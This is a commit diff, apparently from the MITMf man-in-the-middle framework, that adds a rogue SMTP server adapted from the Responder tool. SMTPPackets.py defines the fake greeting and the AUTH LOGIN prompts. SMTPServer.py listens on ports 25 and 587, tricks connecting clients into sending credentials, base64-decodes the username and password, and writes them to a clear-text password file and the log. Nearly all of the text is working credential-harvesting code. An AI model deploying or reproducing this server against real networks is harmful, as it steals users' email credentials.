All plugins are now modified to support dynamic config file changes

Responder functionality fully restored

core/responder/smtp/SMTPPackets.py

@@ -0,0 +1,61 @@
+#! /usr/bin/env python
+# NBT-NS/LLMNR Responder
+# Created by Laurent Gaffie
+# Copyright (C) 2014 Trustwave Holdings, Inc.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+# 
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import struct
+from core.responder.odict import OrderedDict
+from core.responder.packet import Packet
+
+#SMTP Greating class
+class SMTPGreating(Packet):
+    fields = OrderedDict([
+        ("Code",             "220"),
+        ("Separator",        "\x20"), 
+        ("Message",          "smtp01.local ESMTP"),
+        ("CRLF",             "\x0d\x0a"),
+        ]) 
+
+class SMTPAUTH(Packet):
+    fields = OrderedDict([
+        ("Code0",            "250"),
+        ("Separator0",       "\x2d"), 
+        ("Message0",         "smtp01.local"),
+        ("CRLF0",            "\x0d\x0a"),
+        ("Code",             "250"),
+        ("Separator",        "\x20"), 
+        ("Message",          "AUTH LOGIN PLAIN XYMCOOKIE"),
+        ("CRLF",             "\x0d\x0a"),
+        ]) 
+
+class SMTPAUTH1(Packet):
+    fields = OrderedDict([
+        ("Code",             "334"),
+        ("Separator",        "\x20"), 
+        ("Message",          "VXNlcm5hbWU6"),#Username
+        ("CRLF",             "\x0d\x0a"),
+
+        ]) 
+
+class SMTPAUTH2(Packet):
+    fields = OrderedDict([
+        ("Code",             "334"),
+        ("Separator",        "\x20"), 
+        ("Message",          "UGFzc3dvcmQ6"),#Password
+        ("CRLF",             "\x0d\x0a"),
+
+        ]) 
+
+

core/responder/smtp/SMTPServer.py

@@ -0,0 +1,62 @@
+import logging
+import threading
+
+from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
+from base64 import b64decode
+from SMTPPackets import *
+from core.responder.common import *
+
+mitmf_logger = logging.getLogger("mitmf")
+
+class SMTPServer():
+
+	def serve_thread_tcp(self, port):
+		try:
+			server = ThreadingTCPServer(("0.0.0.0", port), ESMTP)
+			server.serve_forever()
+		except Exception as e:
+			mitmf_logger.error("[SMTPServer] Error starting TCP server on port {}: {}".format(port, e))
+
+	#Function name self-explanatory
+	def start(self):
+		mitmf_logger.debug("[SMTPServer] online")
+		t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,))
+		t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,))
+		
+		for t in [t1, t2]:
+			t.setDaemon(True)
+			t.start()
+
+class ThreadingTCPServer(ThreadingMixIn, TCPServer):
+
+	allow_reuse_address = 1
+
+	def server_bind(self):
+		TCPServer.server_bind(self)
+
+#ESMTP server class.
+class ESMTP(BaseRequestHandler):
+
+	def handle(self):
+		try:
+			self.request.send(str(SMTPGreating()))
+			data = self.request.recv(1024)
+			if data[0:4] == "EHLO":
+				self.request.send(str(SMTPAUTH()))
+				data = self.request.recv(1024)
+			if data[0:4] == "AUTH":
+				self.request.send(str(SMTPAUTH1()))
+				data = self.request.recv(1024)
+				if data:
+					Username = b64decode(data[:len(data)-2])
+					self.request.send(str(SMTPAUTH2()))
+					data = self.request.recv(1024)
+					if data:
+						Password = b64decode(data[:len(data)-2])
+						Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt"
+						WriteData(Outfile,Username+":"+Password, Username+":"+Password)
+						#print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)
+						mitmf_logger.info("[SMTPServer] {} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password))
+
+		except Exception as e:
+			mitmf_logger.error("[SMTPServer] Error handling request: {}".format(e))